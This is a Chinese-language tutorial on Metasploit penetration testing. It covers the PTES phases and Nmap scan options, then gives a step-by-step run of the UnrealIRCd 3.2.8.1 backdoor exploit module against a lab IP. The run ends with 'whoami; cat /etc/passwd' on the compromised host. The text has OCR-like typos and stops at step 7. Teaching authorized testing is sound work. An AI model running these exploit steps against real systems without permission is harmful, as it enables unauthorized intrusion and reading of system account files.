3.Metasploit攻击流程及命令介绍
Metasploit 进阶第一讲 攻击流程及命令介绍
01.渗透测试过程环节（PTES）
1.前期交互阶段：与客户组织进行交互讨论，确定范围，目标等
2.情报搜集阶段：获取更多目标组织信息，Nmap、Nessus等
3.威胁建模阶段：理清头绪，确定出最可行的攻击通道
4.漏洞分析阶段：搜索可获取的渗透代码资源
5.渗透攻击阶段：找出安全漏洞，入侵系统
6.后渗透攻击阶段：你想干什么，Mctcrprctcr
7.报告阶段：渗透测试报告
02. Metasploit漏洞利用环节
情报搜集阶段
外围信息搜索 - Google Hacking等
主机探测与端口扫描 -Nmap等
服务扫描 -auxiliary/scanner/tclnet/…等（见目录）
网络漏洞扫描 -OpenVAS、Nessus等
情报搜集阶段—Nmap
格式：nmap<扫描选项，<扫描目标>
·扫描选项：指定扫描方式 ·扫描目标：
-sn -探测存活主机，不扫描端口 单个p地址
-o -目标操作系统识别 多个p地址，用逗号分割（，）
-sV -详细服务版本信息 连续ip地址，用连字符号（-）
-f -快速扫描 CIDR表示，192.168.22.0/24
-sT/-sS/-sA -全连接/syn扫描/ack扫描，
同auxiliary/scanner/portscan/..模块
-sU -udp端口扫描了
-p<端口范围> 指定扫描端口
…
Nmap –sV -o 192.168.24.139
状态：
open 应用程序正在此端口监听
closed 主机响应，无应用程序监听
filtered 不确定是否开放
unfiltered 无法确定端口是否开放（仅出现在ack扫描时）
nmap -A -p 6667 192.168.24.139
情报搜集阶段--其他姿势
漏洞分析阶段
IRC:“Internet Rely Chat”的缩写，网络中继聊天，通过网络的即时交流工具。
IRC运作方式：是一种分布式的客户端/服务器的结构，一个IRC服务器内部包含多个IRC频道，这些频道和qq群类似。若频道不是保留频道且频道中无人，该频道就会消失，而想加入某个频道，若频道名不存在，则会创建这个频道，创建者为管理员，频道内部可私聊。
IRC端口：服务器端口：6667，客户端端口：6697，连接使用的是SSL。
1.msfconsole -启动metasploit框架
2.search unreal ircd3.2.8.1 -在metasploit框架中查询相关模块
3.info exploit/unix/irc/unreal_ircd_3.2.8.1_backdoor -查看模块信息，命名规则：模块类型/目标平台/目标服务/模块名称
4.cat/usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb -查看源代码（也可在目录中查看）
渗透攻击阶段
1.use exploit/unix/irc/unreal_ircd_3281_backdoor -使用该模块
2.show options -查看需配置的参数（Required为yes的选项必须配置）
3.set rhosts 192.168.24.139 -配置目标ip地址
4.run/exploit -运行该模块
5.whoami；cat/etc/passwd -成功后查看目标主机信息
Metasploit漏洞利用流程总结
Metasploit命令：
1. msfconsole
2. search相关模块
3. use模块路径
4. show options
5.set <参数名称> <参数信息
6.run/exploit
7..
